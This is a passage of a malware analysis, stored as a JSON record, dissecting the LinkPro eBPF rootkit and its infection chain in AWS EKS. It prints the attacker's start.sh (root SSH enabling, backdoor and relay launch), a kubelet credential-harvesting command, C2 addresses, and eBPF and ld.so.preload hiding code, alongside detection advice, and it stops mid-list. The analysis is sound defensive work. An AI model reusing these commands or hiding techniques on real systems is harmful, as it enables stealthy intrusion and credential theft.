{
	"id": "fe39a1ef-4cbd-4133-be1a-97b1fbca2bf7",
	"created_at": "2026-04-06T00:21:38.932599Z",
	"updated_at": "2026-04-10T03:24:17.964507Z",
	"deleted_at": null,
	"sha1_hash": "f260bc5667c5378141a6ba8199d930d6224b9d31",
	"title": "LinkPro: eBPF rootkit analysis",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3484943,
	"plain_text": "LinkPro: eBPF rootkit analysis\r\nBy Théo Letailleur\r\nArchived: 2026-04-05 17:24:53 UTC\r\nDuring a digital investigation related to the compromise of an AWS-hosted infrastructure, a stealthy backdoor\r\ntargeting GNU/Linux systems was discovered. This backdoor features functionalities relying on the installation of\r\ntwo eBPF modules, on the one hand to conceal itself, and on the other hand to be remotely activated upon\r\nreceiving a \"magic packet\". This article details the capabilities of this rootkit and presents the infection chain\r\nobserved in this case, which allowed its installation on several nodes of an AWS EKS environment.\r\nIntroduction\r\neBPF (extended Berkeley Packet Filter) is a technology adopted in Linux for its numerous use cases\r\n(observability, security, networking, etc.) and its ability to run in the kernel context while being orchestrated from\r\nuser space. Threat actors are increasingly abusing it to create sophisticated backdoors and evade traditional system\r\nmonitoring tools.\r\nMalware such as BPFDoor1, Symbiote2 and J-magic3 demonstrate the effectiveness of eBPF for creating passive\r\nbackdoors, capable of monitoring network traffic and activating upon receipt of a specific \"magic packet\".\r\nFurthermore, more complex, open-source tools like ebpfkit4 (a proof of concept) and eBPFexPLOIT5, with\r\norchestrators developed in Golang, act as rootkits, with features ranging from establishing secret command and\r\ncontrol (C2) channels to process hiding and container evasion techniques.\r\nWhile recently investigating a compromised AWS-hosted infrastructure, the Synacktiv CSIRT determined a\r\nrelatively sophisticated infection chain, leading to the installation of a stealthy backdoor on GNU/Linux systems.\r\nThis backdoor relies on the installation of two eBPF modules: one to conceal itself, and the other to be remotely\r\nactivated upon receipt of a \"magic packet\". \r\nInfection Chain\r\nForensic analysis identified a vulnerable Jenkins server (CVE-2024–238976) exposed on the internet as the source\r\nof the compromise. The latter served as the initial access for the threat actor to then move to the integration and\r\ndeployment pipeline, hosted on several clusters of the Amazon EKS7 – Elastic Kubernetes Service (standard\r\nmode).\r\nFrom the Jenkins server, the threat actor deployed a malicious docker image named  kvlnt/vv (hosted\r\non hub.docker.com before it was removed by support, after we noticed it) on several Kubernetes clusters. The\r\ndocker image consists of a Kali Linux base with two additional layers.\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 1 of 32\n\nThese layers add the app folder as the working directory, then add three files to it:\r\n1. /app/start.sh : A bash script that serves as the docker image's entrypoint. Its purpose is to start the ssh\r\nservice, execute the /app/app backdoor, and the /app/link program.\r\n#!/bin/bash\r\nsed -i -e 's/#PermitRootLogin /PermitRootLogin yes\\n#/g' /etc/ssh/sshd_config\r\n/etc/init.d/ssh start\r\n./app \u0026\r\n./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp\r\n2. /app/link  : An open-source program called vnt8 that acts as a VPN server and provides proxy\r\ncapabilities. It connects to a community relay server at vnt.wherewego.top:29872 . This allows the threat\r\nactor to connect to the compromised server from any IP address and to use it as a proxy to reach other\r\nservers on the infrastructure. The command-line arguments specified in the /app/start.sh script are as\r\nfollows:\r\n1. -k ooonnn : token that identifies the virtual VLAN on the relay server\r\n2. -w mmm000 : password used to encrypt communications between clients (AES128-GCM)\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 2 of 32\n\n3. -W : enables encryption between clients and the server (RSA+AES256-GCM) to prevent token\r\nleakage and man-in-the-middle attacks.\r\n4. -o 0.0.0.0/0 : allows forwarding to all network segments.\r\n3. /app/app : A downloader malware that retrieves an encrypted malicious payload from an S3 bucket. The\r\ncontacted URL is  https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png . In the observed case, this is an in-memory vShell 4.9.3 payload that\r\ncommunicates with its command and control server ( 56.155.98.37 ) via WebSocket. The Synacktiv\r\nCSIRT names this downloader vGet, due to its direct link with vShell in this case. \r\nvShell is an already documented backdoor9, notably used by UNC517410. Its source code has not been available\r\non GitHub for about a year. However, a recent version, 4.9.3, along with its (cracked) license, is available for\r\ndownload, allowing various actors to use vShell.\r\nHowever, there is no open-source publication on vGet, which is developed in Rust and stripped. This malicious\r\ncode creates a symbolic link /tmp/.del to /dev/null at the beginning of its execution before downloading the\r\nvShell payload. vShell, during its execution, initializes the  HISTFILE=/tmp/.del environment variable when\r\nopening a terminal (at the operator's request). The purpose is to ensure that the command history is not written to a\r\nfile (ex:  .bash_history ). It is therefore possible that there is a link between these two programs, and that\r\nvGet was specifically developed to execute vShell directly in memory, without leaving traces on the disk.\r\nvGet — symbolic link from  /dev/null  to  /tmp/.del\r\nThe recovered vGet sample has few symbols, apart from a reference to the username cosmanking defined in the\r\nabsolute paths of the Rust dependencies, for example: \r\n/Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs.\r\nRegarding the docker image, the following mount point is configured:\r\nMount point: /mnt\r\nSource (the host): /\r\nDestination (to the container): /mnt\r\nAccess: read and write\r\nType: bind\r\nThis configuration allows the threat actor to escape the container's context (the running image), accessing the\r\nentire filesystem of the root partition with root privileges. \r\nFrom the /app/app  (vGet) process of the kvlnt/vv pod, a cat command was executed with the goal of\r\nretrieving credentials (authentication tokens, API keys, certificates...) available on the host and particularly in\r\nother pods. Below is a short excerpt from this command:\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 3 of 32\n\ncat \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \\\r\nvar/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key\r\n[..ETC..]\r\nA few weeks after the deployment of this docker image, the execution of two other malware was observed on\r\nseveral Kubernetes nodes, as well as on production servers. The latter were particularly targeted by the attacking\r\ngroup for financial motives.\r\nThe first piece of malicious code is a dropper embedding another vShell backdoor (v4.9.3) executed in memory,\r\nthis time communicating via DNS tunneling. Regarding the dropper, it is not similar to SNOWLIGHT11, already\r\nobserved in some publications for dropping vShell, but it has the same purpose. The decryption process is\r\nperformed in two steps. Here is an excerpt from the sample that the Synacktiv CSIRT analyzed:\r\nStep 1: Decryption of the first shellcode, executed directly\r\nStep 2: the shellcode decrypts and loads the embedded ELF vShell backdoor into its memory\r\nFinally, the final payload, which is undocumented and that the Synacktiv CSIRT names LinkPro, is a backdoor\r\nexploiting eBPF technology, which could be described as a rootkit due to its stealth, persistence, and internal\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 4 of 32\n\nnetwork pivoting capabilities. \r\nLinkPro Rootkit\r\nLinkPro targets GNU/Linux systems and is developed in Golang. The Synacktiv CSIRT names it LinkPro in\r\nreference to the symbol defining its main module:  github.com/link-pro/link-client . The GitHub account link-pro has no public repositories or contributions. LinkPro uses eBPF technology to only activate upon receiving a\r\n\"magic packet\", and to conceal itself on the compromised system.\r\nLinkPro Rootkit Samples\r\nSHA256\r\nd5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b (passive\r\nbackdoor)\r\n1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964 (active\r\nbackdoor)\r\nFile type ELF 64-bit LSB executable, x86-64, executable/linux/elf64\r\nFile size 8710464 bytes\r\nThreat Linux Rootkit\r\nObserved\r\nfilenames\r\n.tmp~data.ok ; .tmp~data.pro ; .tmp~data.resolveld\r\nLinkPro embeds four ELF modules: a shared library, a kernel module, and two eBPF modules:\r\nEmbedded ELF programs (Malcat view)\r\nThe different ELF modules are detailed below. However, the kernel module is never used by LinkPro (no\r\nimplemented function to load it).\r\nLinkPro Embedded ELF Binaries\r\nSHA256 Type Size\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 5 of 32\n\nSHA256 Type Size\r\nb11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 Shared object 14.2 KiB\r\n9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 Kernel object 573.0 KiB\r\n364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 BPF 18.8 KiB\r\nb8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 BPF 35.4 KiB\r\nConfiguration and Communication\r\nDepending on its defined configuration, LinkPro can operate in two ways: passive or active. Its configuration is\r\nretrieved in two different ways:\r\n1. Either it is embedded in the binary, structured in JSON, and preceded by the keyword CFG0 ,\r\n2. Or its default parameters are directly hardcoded into the main function. This method is observed on both\r\nsamples.\r\nFinally, command-line arguments are also taken into account to modify the default values at runtime:\r\nUsage of \u003cprogram name\u003e:\r\n -addsvc\r\n / systemd disguise\r\n -connection-mode string\r\n : forward reverse (default \"reverse\")\r\n -debug string\r\n (default \"false\")\r\n -dns-domain string\r\n DNS (default \"dns.example.com\")\r\n -dns-mode string\r\n DNS: direct() tunnel() (default \"tunnel\")\r\n -dns-server string\r\n DNS (: 8.8.8.8:53)\r\n -ebpf string\r\n eBPF (0=,1=) (default \"1\")\r\n -hideebpf string\r\n hide ebpf prog/map/link in /proc (0=,1=) (default \"1\")\r\n -jitter string\r\n () (default \"2\")\r\n -key string\r\n ()\r\n -pid string\r\n pid to hide (default \"-1\")\r\n -port string\r\n (default \"6666\")\r\n -protocol string\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 6 of 32\n\n(httptcpudpdns) (default \"http\")\r\n -reverse-port string\r\n HTTP (default \"2233\")\r\n -rmsvc\r\n systemd disguise\r\n -server string\r\n (default \"1.1.1.1\")\r\n -sleep string\r\n () (default \"10\")\r\n -version string\r\n (default \"1.0.0\")\r\nThe -addsvc parameter, observed during the investigation, is used to activate the persistence mechanism. \r\nBelow is the implemented configuration structure of LinkPro:\r\nstruct TailConfig // sizeof=0xD0\r\n{\r\n string ServerAddress;\r\n string ServerPort;\r\n string SecretKey;\r\n string SleepTime;\r\n string JitterTime;\r\n string Protocol;\r\n string DnsDomain;\r\n string DNSMode;\r\n string DnsServer;\r\n string Debug;\r\n string Version;\r\n string ConnectionMode;\r\n string ReversePort;\r\n};\r\nThere are two possible values for ConnectionMode : reverse or forward .\r\n1. The reverse connection mode corresponds to a passive mode, where the backdoor listens for commands\r\nfrom the C2. In this mode, two eBPF programs of the eXpress Data Path12 (XDP) and Traffic Control13\r\n(TC) types are installed, with the goal of activating the C2 communication channel only upon receiving a\r\nspecific TCP packet.\r\n2. The forward connection mode corresponds to an active mode, where the backdoor initiates\r\ncommunication with its C2 server. In this mode, the XDP/TC eBPF programs are not installed.\r\nThe two samples identified on the compromised information system have the following configurations:\r\nLinkPro TailConfig\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 7 of 32\n\nd5b2202b 1368f3a8\r\n  Passive mode HTTP Active mode HTTP\r\nServerAddress 1.1.1.1 (not used) 18.199.101.111\r\nServerPort 6666 2233\r\nSecretKey 0 3344\r\nSleepTime 10 10\r\nJitterTime 2 2\r\nProtocol http http\r\nDnsDomain dns.example.com dns.example.com \r\nDNSMode tunnel  tunnel\r\nDnsServer 0 0\r\nDebug false false\r\nVersion 1.0.0 1.0.0\r\nConnectionMode reverse forward\r\nReversePort 2233 2233\r\nThe DNS fields are only used in the case of communication via the DNS protocol. \r\nAfter parsing its configuration, LinkPro generates a unique client ID with the following information:\r\nSHA1sum(hex:\"0123456789abcdeffedcba9876543210\" | Hostname | Current user | Executable path | Machine\r\nID | MAC Address | \"nginx\" )\r\nThe Machine ID corresponds to the value present in /etc/machine-id or (if non-existent)\r\nin  /proc/sys/kernel/random/boot_id .\r\nFive communication protocols are possible for the forward (active) mode:\r\nHTTP\r\nWebSocket\r\nUDP (raw)\r\nTCP (raw)\r\nDNS (direct/tunneling)\r\nFor the reverse (passive) mode, only the HTTP protocol is used. Three URLs are served:\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 8 of 32\n\n1. /reverse/handshake : identifies the operator's ID ( server_id http request parameter) and returns the\r\nstatus success .\r\n2. /reverse/heartbeat : returns the client's information (if the request_client_info parameter is\r\nspecified) and returns the status ok .\r\n3. and /reverse/operation  : executes the operator's commands.\r\nThe exchanges are structured in JSON and encrypted with the SecretKey XOR key specified in the\r\nconfiguration.\r\nThen, the following steps are executed in this order:\r\n1. Installation of the \"Hide\" eBPF module \r\n2. If the \"Hide\" module installation fails, or if it has been disabled ( -ebpf 0 command-line argument):\r\nInstallation of a shared library in  /etc/ld.so.preload\r\n3. If reverse mode is used, installation of the \"Knock\" eBPF module\r\n4. Installation of persistence\r\n5. Execution of C2 commands\r\n6. On interruption, deletion of the various modules\r\nThe passive sample  d5b2202b  is used to illustrate the following descriptions. \r\nLD PRELOAD Module\r\nLinkPro LD PRELOAD Module Sample\r\nSHA256 b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7\r\nFile type ELF 64-bit LSB shared object, x86-64, executable/linux/so64\r\nFile size 14552 bytes\r\nThreat Linux Dynamic Linker Hijacking\r\nObserved filename libld.so\r\nLinkPro modifies the /etc/ld.so.preload configuration file to specify the path of the  libld.so shared\r\nlibrary that it embeds, with the goal of hiding various artifacts that could reveal the backdoor's presence. The\r\ndifferent steps for  libld.so are as follows:\r\n1. Saves the content of /etc/ld.so.preload  in memory\r\n2. Extracts libld.so , embedded in the LinkPro binary, to /etc/libld.so\r\n1. If necessary, /etc is mounted with read and write permissions: mount -o remount,rw /etc\r\n3. Assigns sufficient permissions so that libld.so can be loaded and executed by all users: chmod 0755\r\n/etc/libld.so\r\n4. Replaces the content of the /etc/ld.so.preload file with /etc/libld.so\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 9 of 32\n\nThanks to the presence of the /etc/libld.so path in /etc/ld.so.preload , the libld.so shared library\r\ninstalled by LinkPro is loaded by all programs that require  /lib/ld-linux.so 14. This includes all programs that\r\nuse shared libraries, such as glibc. \r\nOnce  libld.so is loaded at the execution of a program, for example /usr/bin/ls , it hooks (before glibc)\r\nseveral libc functions to modify results that could reveal the presence of LinkPro. Here is the observed behavior\r\nfor the hooked functions:\r\nfopen and fopen64 : libld.so hook checks if the process tries to open\r\n/proc/net/tcp ,  /proc/net/tcp6 ,  /proc/net/udp , or  /proc/net/udp6 . These files provide\r\ninformation on active TCP/UDP connections. If so, the real fopen function is executed. Then, the malicious\r\nlibrary retrieves the content of these files and removes LinkPro's network traces. Indeed, any line\r\ncontaining port 2233 (LinkPro's listening port) as a source or destination is deleted. Finally, if the process\r\ntries to open a file named ld.so.preload , a \"No Such File Or Directory\" error is returned.\r\nPseudocode of the forge_proc_net_tcp function modifying the content\r\nRegarding network information, netstat uses the /proc/net files to display ongoing\r\nconnections. In contrast, ss uses the netlink  protocol instead to retrieve this information. The\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 10 of 32\n\npresence of port 2233 listening on the machine can therefore be detected with the ss command, as\r\nshown in the following image ( openat is the system call used by fopen ):\r\nLinkPro internal port detection netstat vs ss\r\nFurthermore, the LinkPro process name is not indicated in the ss command's output (if adding -p\r\nflag), thanks to the getdents hook explained below.\r\ngetdents and getdents64 : the getdents system call is used to list the files in a directory. In this case,\r\nlibld.so executes getdents  then checks for the presence of:\r\nFilenames containing the keywords .tmp~data (the Linkpro backdoor), libld.so , sshids , and\r\nld.so.preload .\r\nProcess directories (under /proc/ , i.e., the PID) whose command line contains the\r\nkeyword  .tmp~data.\r\nIf found, the dirent entry is overwritten by the next one.\r\nOverwriting the dirent entry of the file to be hidden\r\nNB: The symbols toyincang and toyincanglib specify the keywords .tmp~data and\r\nlibld.so . \"toyincang\" can be interpreted in Mandarin Pinyin as \"to conceal\".\r\nkill : the  kill  system call allows sending a signal to a process and takes the target's PID as an\r\nargument. The hook implemented by libld.so checks the command line of the targeted process\r\n( /proc/\u003cpid\u003e/cmdline ) for the presence of the keyword .tmp~data (the Linkpro backdoor). If found,\r\nthe libc  kill  function is not executed.\r\nopen and open64 : if the process tries to open a file named ld.so.preload , a \"No Such File Or\r\nDirectory\" error is returned.\r\nreaddir and readdir64 : the libld.so hook executes the legitimate  readdir  function (lists the files\r\nin a directory) then, checks for the presence of:\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 11 of 32\n\nFilenames containing the keywords  .tmp~data ,  libld.so , sshids , ld.so.preload , and\r\n.system (the folder containing LinkPro once the persistence mechanism is activated).\r\nProcess directories (under /proc/ , i.e., the PID) whose command line contains the\r\nkeyword  .tmp~data.  \r\nIf found, the  readdir hook returns an empty result.\r\nThe following image shows a demonstration of libld.so  effects. The -ebpf 0 command-line argument is\r\nspecified to explicitly disable the \"Hide\" module and therefore activate the LD Preload library instead.\r\nExample of libld.so loading\r\nIn summary, libld.so loaded by LinkPro attempts to hide the network traces (listening or destination port) and\r\nfilesystem traces of the LinkPro backdoor and of libld.so itself from other dynamically linked programs.\r\n\"Hide\" eBPF Module\r\nLinkPro \"Hide\" eBPF Module Sample\r\nSHA256 b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164\r\nFile type ELF 64-bit LSB relocatable, eBPF\r\nFile size 36224 bytes\r\nThreat Linux eBPF Rootkit\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 12 of 32\n\nThe \"Hide\" module is composed of several eBPF programs of the Tracepoint and Kretprobe types.\r\nTracePoint-type eBPF programs15 are programs that attach to static tracepoints defined by the Linux kernel. They\r\nare placed at specific locations in the kernel code, for example on system calls, memory allocation, task\r\nscheduling, etc. In particular, tracepoints for system calls are located at the entry\r\n( tracepoint/syscalls/sys_enter_syscall ) or exit ( tracepoint/syscalls/sys_exit_syscall ).\r\nKprobes16 (Kernel Probes) allow an eBPF program to be attached to almost any function (its entry point) in the\r\nkernel. Kretprobes, for their part, are triggered when the function returns. This allows for intercepting and\r\nmodifying the result of a system call. \r\nThe LinkPro rootkit installs these eBPF programs and takes advantage of their capabilities to hide its processes\r\nand network activity.\r\n\"Hide\" Module Installation\r\nFirst, LinkPro parses the embedded \"Hide\" ELF module into a specific object (CollectionSpec) using theebpf-go module17.  The different eBPF objects of the Hide module can be found loaded into memory, namely the\r\nmaps18 and the programs19. Maps are data structures that can be shared between programs.\r\nLinkPro updates the pids_to_hide_map map with the current PID (Process ID) of LinkPro, as well as the list of\r\nPIDs specified on the command line ( -pid argument).\r\nLinkPro updates the main_ebpf_progs map to add the file descriptors (FD) of the eBPF programs loaded by\r\nLinkPro (the \"Hide\" and \"Knock\" modules). \r\nLinkPro then creates BPF links20 to attach the eBPF programs to instrumentation points in the kernel. The\r\n\"Hide\" eBPF module loaded by the LinkPro backdoor adds hooks to the getdents and getdents64 system\r\ncalls, with the same objective as the libld.so shared library, which is to hide files specific to LinkPro.\r\nAdditionally, hooks are placed at the entry and exit of the sys_bpf system call to hide its eBPF maps and\r\nprograms. Below are the implemented hooks:\r\ntracepoint/syscalls/sys_enter_getdents -\u003e HandleGetdentsEnter\r\ntracepoint/syscalls/sys_enter_getdents64 -\u003e HandleGetdents64Enter\r\ntracepoint/syscalls/sys_exit_getdents -\u003e HandleGetdentsExit\r\ntracepoint/syscalls/sys_exit_getdents64 -\u003e HandleGetdents64Ext\r\ntracepoint/syscalls/sys_enter_bpf -\u003e HandleBpfEnter\r\nkretprobe/sys_bpf -\u003e HandleBpfExit\r\nhandle_getdents\r\nThe behavior of the functions attached to the getdents and getdents64 tracepoints is similar to libld.so .\r\nThe result of the getdents system call ( sys_exit_getdents ) is intercepted. The eBPF program sets up filters to\r\nhide:\r\nSpecific files and directories: any entry containing the keywords .tmp~data or .system .\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 13 of 32\n\nSpecific processes: the process directories (under /proc/ ) whose identifiers (PIDs) are listed in the\r\npids_to_hide eBPF map (which can contain up to 10 PIDs) are also hidden.\r\nThe getdents system call returns a linked list of dirent structures21, where each structure represents a file or\r\ndirectory and contains information like its name, its inode, and the size of the entry, which allows for calculating\r\nthe position of the next element. Unlike the libld.so hook on getdents , the dirent entry is not directly\r\noverwritten by the next record.\r\nHere is how the linked list of dirent structures is modified to hide a file named .tmp~data.resolveld .\r\nBefore the eBPF Modification\r\nThe list is a succession of records. Each dirent implicitly points to the next one thanks to its own length\r\n( d_reclen ).\r\ndirent structure before modification\r\ndirent (File A) dirent ( .tmp~data.resolveld ) dirent (File B)\r\nd_reclen =24 d_reclen =32 d_reclen =24\r\nd_name =\"File A\" d_name =\" .tmp~data.resolveld \"\r\nd_name =\"File\r\nB\"\r\nPoints to the beginning of\r\n.tmp~data.resolveld\r\nPoints to the beginning of File B Points to the end\r\nThe d_reclen values are given arbitrarily as an example.\r\nAfter the eBPF Modification\r\nThe eBPF program detects .tmp~data.resolveld . It then modifies the length ( d_reclen ) of the preceding\r\nrecord ( File A ) by adding the length of .tmp~data.resolveld to it.\r\ndirent structure after modification\r\ndirent (File A) dirent (.tmp~data.resolveld) - Skipped dirent (File B)\r\nd_reclen =24+32=56 d_reclen =32 d_reclen =24\r\nd_name =\"File A\" d_name =\" .tmp~data.resolveld \" d_name =\"File B\"\r\nNow points to the beginning of File B   Points to the end\r\nThe same technique is implemented in the eBPFeXPLOIT project22, with the addition of the filenames and\r\ndirectories to be hidden.\r\nhandle_ebpf\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 14 of 32\n\nTwo functions are implemented: HandleBpfEnter , linked to the syscall/sys_enter/bpf tracepoint, and\r\nHandleBpfExit , linked to the Kretprobe of sys_bpf . The objective here is to hide the presence of the eBPF\r\nprograms from tools like bpftool 23. The observed code is substantially the same as the one implemented in the\r\nEBPFeXPLOIT project24, apart from the addition of extra checks and two calls to bpf_printk , probably used\r\nfor debugging.\r\nint handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {\r\n // ...\r\n if ((!attr_ptr) \u0026\u0026\r\n (bpf_probe_read_user(\u0026cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0))\r\n {\r\n bpf_printk(\"BPF cmd: %d, start_id: %u\", cmd, cmd_info.start_id);\r\n bpf_map_update_elem(\u0026hideEbpfMap, \u0026pid_tgid, \u0026cmd_info, BPF_ANY);\r\n }\r\n //...\r\n}\r\nint handleBpfExit(struct pt_regs *ctx) {\r\n // ...\r\n __u8 *is_main = bpf_map_lookup_elem(\u0026main_ebpf_progs, \u0026next_id);\r\n if (is_main \u0026\u0026 *is_main == 1) {\r\n bpf_printk(\"HIDING NEXT_ID: %u\", next_id);\r\n bpf_override_return(ctx, -ENOENT);\r\n return 0;\r\n }\r\n // ...\r\n}\r\nThe outputs of bpf_printk  are recorded in the special file  /sys/kernel/debug/tracing/trace_pipe . Root\r\naccess is required to read its content:\r\nroot@malux# bpftool prog list\r\n# ..output...\r\nroot@malux# cat /sys/kernel/debug/tracing/trace_pipe\r\n bpftool-15162 [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0\r\n bpftool-15162 [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52\r\n bpftool-15162 [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160\r\n bpftool-15162 [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161\r\n # [..etc..]\r\n bpftool-15162 [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175\r\n bpftool-15162 [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176\r\n bpftool-15162 [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177\r\n bpftool-15162 [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 15 of 32\n\nThe handlerBpfEnter tracepoint saves the BPF commands of type BPF_PROG_GET_NEXT_ID ,\r\nBPF_MAP_GET_NEXT_ID , and BPF_LINK_GET_NEXT_ID in a map. After the execution of the sys_bpf system call,\r\nthe handlerBpfExit hook is triggered.\r\nThe structure of the associated command is retrieved, now containing the result of the system call, which is\r\nthe ID of the next program, map, or link.\r\nIf the value of cmd_info.attr_pr.next_id is equal to the ID of one of the objects present in the\r\nmain_ebpfs_progs map, then the return value of sys_bpf is replaced by  -ENOENT  (No such file or\r\ndirectory). \r\nThe adjacent image shows a demonstration of the \"Hide\" module loading ( -ebpf 1 argument, default value),\r\nhiding the eBPF programs from the bpftool utility: \r\nHiding BPF programs\r\nNote that the FDs of the eBPF maps and links are not included in the main_ebpf_progs  map by LinkPro, which\r\nis a mistake: although the programs are correctly hidden, it is still possible to list their eBPF maps and links, as\r\nwell as the PID associated with LinkPro.\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 16 of 32\n\nDetection of eBPF links associated with LinkPro\r\nAnother important point is that the bpf_override_return helper function is only available if the Linux kernel\r\nwas compiled with the  CONFIG_BPF_KPROBE_OVERRIDE configuration option25. This is the case, for example, for\r\nrelatively recent kernels of Amazon Linux26, or Ubuntu 24.04. If the required kernel option is not enabled, the\r\nBPF verifier will reject the program and prevent the \"Hide\" module from loading. In case of failure, an alternative\r\nmethod is therefore used with the loading of the libld.so library, serving as a fallback solution to hide a portion\r\nof LinkPro's artifacts.\r\n\"Knock\" eBPF Module \r\nLinkPro \"Knock\" eBPF Module Sample\r\nSHA256 364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3\r\nFile type ELF 64-bit LSB relocatable, eBPF\r\nFile size 19249 bytes\r\nThreat Linux eBPF Rootkit\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 17 of 32\n\nThe \"Knock\" module contains two eBPF programs loaded by LinkPro.\r\nThe first is called xdp_ingress and is of the XDP (eXpress Data Path) type.\r\nXDP provides a mechanism for processing network packets via eBPF programs. It is located very early in the\r\nprocessing chain, at the driver level and upstream of the classic Linux network stack27. An XDP eBPF program\r\nuses return codes (e.g., XDP_PASS , XDP_DROP , XDP_REDIRECT ) to determine the action the Linux kernel should\r\ntake on the network packet.\r\nNetwork packet flow in the kernel with XDP\r\nThe second is called tc_egress and is of the TC (Traffic Control) type.\r\ntc is a tool introduced by the iproute2 package that allows for controlling incoming (ingress) and outgoing\r\n(egress) network traffic on an interface. It is possible to attach BPF programs to different TC control points, for\r\nexample to filter certain packets before they are sent. TC is located between the driver and the network stack, i.e.,\r\ndownstream from XDP. XDP programs can only attach to incoming traffic, not outgoing, which justifies the use of\r\nTC in this context.\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 18 of 32\n\nEgress (TX) Diagram with TC Hook\r\n\"Knock\" Module Installation\r\nSeveral steps are required to install the xdp_ingress and tc_egress programs.\r\n1. Detection of the network interface used to communicate with the Internet (e.g., eth0 ).\r\n2. Creation of a fire directory in the BPF FS. Path: /sys/fs/bpf/fire . The BPF FS is a pseudo virtual\r\nfilesystem (residing only in memory) that allows for storing BPF programs and maps, as well as pinned\r\nobjects28 (allows keeping a reference to these objects via a pseudo-file in the BPF FS to ensure their\r\npersistence).\r\n3. Loading of the \"Knock\" module into memory ( CollectionSpec object).\r\n4. Update of the conf_map BPF map with the value of the reverse_port attribute present in LinkPro's\r\nconfiguration: port 2233 in this context.\r\n5. Installation of the xdp_ingress program:\r\n1. Any XDP program already linked to the network interface is detached: ip link set dev eth0 xdp\r\noff\r\n2. Attachment of the xdp_ingress program to the network interface via the creation of a BPF link29\r\n6. Installation of the tc_egress  program\r\n1. Pinning of the tc_egress program to /sys/fs/bpf/fire/tc_egress . This means it has already\r\nbeen loaded into memory by another process (LinkPro) and has been pinned in the BPF virtual\r\nfilesystem (bpffs).\r\n2. Attachment of the tc_egress program to the network interface via the following tc commands:\r\n1. Preparation of the interface: tc qdisc replace dev eth0 clsact\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 19 of 32\n\n1. Creates or replaces the queuing discipline ( qdisc ) on the eth0 interface with\r\nclsact (classifier action), providing two attachment points, ingress (incoming\r\npackets) and egress (outgoing packets), for filters.\r\n2. Cleaning up old filters on outgoing traffic: tc filter del dev eth0 egress\r\n3. Attachment of the tc_egress program to the egress hook of the network interface: tc\r\nfilter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned\r\n/sys/fs/bpf/fire/tc_egress\r\n1. proto all : the filter applies to packets of all protocols\r\n2. prio 1 : the filter executes with the highest priority\r\n3. handle 1 